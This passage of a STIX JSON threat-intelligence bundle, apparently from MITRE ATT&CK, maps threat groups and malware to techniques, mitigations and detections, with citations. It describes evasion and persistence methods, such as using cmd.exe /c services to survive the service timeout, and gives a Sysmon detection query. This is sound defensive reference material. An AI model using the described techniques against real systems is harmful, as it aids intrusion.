Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ebce143-6b85-4188-a8ea-010045c48bdd","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:38:24.502Z","description":"Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nWindows runs the Service Control Manager (SCM) within the process services.exe. Windows launches services as independent processes or DLL loads within a svchost.exe group. To be a legitimate service, a process (or DLL) must have the appropriate service entry point SvcMain. If an application does not have the entry point, then it will timeout (default is 30 seconds) and the process will be killed.\n\nTo survive the timeout, adversaries and red teams can create services that direct to cmd.exe with the flag /c, followed by the desired command. The /c flag causes the command shell to run a command and immediately exit. As a result, the desired program will remain running and it will report an error starting the service. This analytic will catch that command prompt instance that is used to launch the actual malicious executable. Additionally, the children and descendants of services.exe will run as a SYSTEM user by default. \n\nNote: Create a baseline of services seen over the last 30 days and a list of services seen today. Remove services in the baseline from services seen today, leaving a list of new services. Returns all processes named cmd.exe that have services.exe as a parent process. Because this should never happen, the /c flag is redundant in the search.\n\nAnalytic 2 - Services launching CMD\n \n (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"1\") OR (sourcetype=WinEventLog:Security EventCode=\"4688\") Image=\"*cmd.exe\" and ParentImage=\"*services.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ebeacbf-4f30-4f32-86dc-54d932ea7c46","type":"relationship","created":"2020-03-15T16:27:38.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T16:27:38.223Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-20T18:24:23.303Z","description":"Responses from the [Pisloader](https://attack.mitre.org/software/S0124) C2 server are base32-encoded.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ecf2ecd-ae5a-417b-a6a7-9690fb83a282","type":"relationship","created":"2019-02-21T21:12:55.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"source_name":"Dark Reading APT39 JAN 2019","url":"https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764","description":"Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020."}],"modified":"2020-05-22T18:17:56.892Z","description":"(Citation: FireEye APT39 Jan 2019)(Citation: Dark Reading APT39 JAN 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ed42682-d3ad-4a4f-8576-ccdf28ce642b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.200Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) automatically collects data about the victim and sends it to the control server.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ed458b0-e5cd-48c7-baba-a33ca84a8738","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"modified":"2019-10-15T22:51:02.967Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) executes payloads using the Windows API call CreateProcessW().(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ed53040-9e56-4069-b764-58598d8c497b","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T15:44:59.011Z","description":"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Windows security log Event ID 4624 (An account was successfully logged on) is generated when a user logs onto a remote machine using RDP.\n\nCorrelating logon session creation events with RDP network flows can provide a clearer picture of RDP activity and serve as a useful starting point for investigating suspicious RDP connections.","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4eda0bd3-66e3-4773-9616-78ab8f60cbd5","created":"2022-04-01T13:14:59.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.205Z","description":"Scan images before deployment, and block those that are not in compliance with security policies. In Kubernetes environments, the admission controller can be used to validate images after a container deployment request is authenticated but before the container is deployed.(Citation: Kubernetes Hardening Guide)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ee087c3-92d0-4886-bc90-167e7ab8926d","created":"2021-09-29T15:56:23.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.080Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has limited its watering hole attacks to specific IP address ranges.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"},{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-03-11T17:45:33.721Z","description":"[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ee9fd95-d2c8-4d34-87d2-bf1f5ef54061","created":"2022-06-02T13:22:13.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:29:33.057Z","description":"[ZxxZ](https://attack.mitre.org/software/S1013) has been encoded to avoid detection from static analysis tools.(Citation: Cisco Talos Bitter Bangladesh May 2022)","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa","created":"2017-05-31T21:33:27.066Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster Loaders","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."},{"source_name":"McAfee GhostSecret","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: Lazarus APT January 2022)","modified":"2022-07-28T18:55:36.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ef9490e-e347-4f4e-aa6f-c082e02349fc","type":"relationship","created":"2020-11-06T18:40:38.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."},{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:41:39.276Z","description":"(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4efc1b5d-c1cb-4d94-a4b8-6b0b2b857788","type":"relationship","created":"2021-10-13T06:59:50.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"}],"modified":"2021-10-13T06:59:50.201Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) uses a resource fork to present a macOS JPEG or text file icon rather than the executable's icon assigned by the operating system.(Citation: OSX Keydnap malware)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f05951e-e480-4ffc-b573-3a7aa3fc4b7c","type":"relationship","created":"2020-02-12T15:22:11.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T22:14:25.952Z","description":"VNC defaults to TCP ports 5900 for the server, 5800 for browser access, and 5500 for a viewer in listening mode. Filtering or blocking these ports will inhibit VNC traffic utilizing default ports.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f061157-0a1d-4c2d-9bd3-e5b0b932a39f","created":"2022-10-13T14:48:56.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:28:29.702Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has been encrypted with XOR using different 32-long Base16 strings and compressed with LZW algorithm.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"modified":"2020-03-17T01:30:41.537Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) creates a Registry Run key to establish persistence.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4f0c2dfd-f16d-4bb0-bcbc-6f5bb8662597","created":"2022-04-14T14:02:53.840Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls (such as NetUserEnum()) that may attempt to gather local accounts information such as type of user, privileges and groups.","modified":"2022-04-14T14:02:53.840Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f0d1910-3308-434d-b2df-6400e3e666de","created":"2024-02-12T20:21:34.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-01T23:10:36.138Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) drops an encrypted PE file, pe.bin, and decrypts it during installation.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) also uses custom base64 encoding schemas in later variations to obfuscate payloads.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f13e788-b0da-457d-89b1-64196c9627b8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2020-06-19T20:04:12.612Z","description":"[APT32](https://attack.mitre.org/groups/G0050) ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f1793cb-51f9-47d0-a2a7-374a57f56b82","created":"2022-09-30T19:00:48.584Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:00:48.584Z","description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors established domains as part of their operational infrastructure.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f17c215-893f-4c2d-9d9f-944b170d21e5","created":"2024-09-05T22:37:52.076Z","revoked":false,"external_references":[{"source_name":"Trendmicro_IcedID","description":"Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:37:52.076Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has modified legitimate .dll files to include malicious code.(Citation: 